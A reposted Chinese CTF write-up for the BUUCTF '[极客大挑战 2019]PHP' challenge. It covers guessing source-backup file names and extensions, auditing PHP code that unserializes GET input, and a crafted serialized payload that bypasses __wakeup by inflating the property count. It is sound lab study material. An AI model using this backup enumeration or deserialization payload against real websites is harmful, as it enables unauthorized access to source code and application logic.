您现在的位置是:首页 >技术交流 >2025.2.11——一、[极客大挑战 2019]PHP wakeup绕过|备份文件|代码审计网站首页技术交流

2025.2.11——一、[极客大挑战 2019]PHP wakeup绕过|备份文件|代码审计

然然阿然然 2025-12-17 12:01:03
简介2025.2.11——一、[极客大挑战 2019]PHP wakeup绕过|备份文件|代码审计

题目来源:BUUCTF  [极客大挑战 2019]PHP

目录

一、打开靶机,整理信息

二、解题思路

step 1:目录扫描、爆破

step 2:代码审计

1.index.php

2.class.php

3.flag.php

step 3:绕过__wakeup重置

​编辑

三、小结


一、打开靶机,整理信息

        根据题目名称php,以及页面的备份网站的提示,这里应该有下载备份文件,里面应该有php文件要进行代码审计

二、解题思路

step 1:目录扫描、爆破

目录扫描文件太多了,找不到有用信息,可以尝试输入网站源码备份文件,看看能不能碰对

常见的网站源码备份文件后缀:

tar、tgz、zip、rar、bak、7z

常见的网站源码备份文件名:

web、website、backup、back、www、wwwroot、temp

爆破一下

        url传参看看,得到一个压缩文件夹,点进去得到一堆源码文件

        整理一下进行代码审计

step 2:代码审计

1.index.php

index.php主要是设计,有用信息已经摘抄了

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

        文件包含class.php文件,并且是GET传参,参数为select,然后将其进行反序列化

2.class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{

    //设置两个私有变量
    private $username = 'nonono';
    private $password = 'yesyes';

    //利用__construct构造函数,在创建对象时初始化$username和$password属性
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    //当对象被反序列化时,__wakeup方法会被自动调用,将$username重置为guest
    function __wakeup(){
        $this->username = 'guest';
    }

    //当对象被销毁时,__destruct方法会被自动调用
    function __destruct(){
        if ($this->password != 100) {  //检查password是否等于100
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {  //如果password等于100,则进一步检查username是否等于admin,等于则输出flag
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

代码总结:要想输出flag信息,就要绕过__wakeup重置,并且password要等于100,username要等于admin

3.flag.php

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

        什么也不是

step 3:绕过__wakeup重置

        根据上面代码审计结果,用脚本得到payload,脚本来源:[极客大挑战 2019]PHP 1_php 在线挑战-CSDN博客

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>

序列化结果有未显示字符,另外绕过wakeup方法要让成员属性数目大于实际数目

当成员属性数目大于实际数目时可绕过wakeup方法

        所以要将序列化结果中的2改为3,将未显示字符变为%00,再传参

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

        得到flag

三、小结

1.常见的网站源码备份文件后缀:

tar、tgz、zip、rar、bak、7z

常见的网站源码备份文件名:

web、website、backup、back、www、wwwroot、temp

2.当成员属性数目大于实际数目时可绕过wakeup方法

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。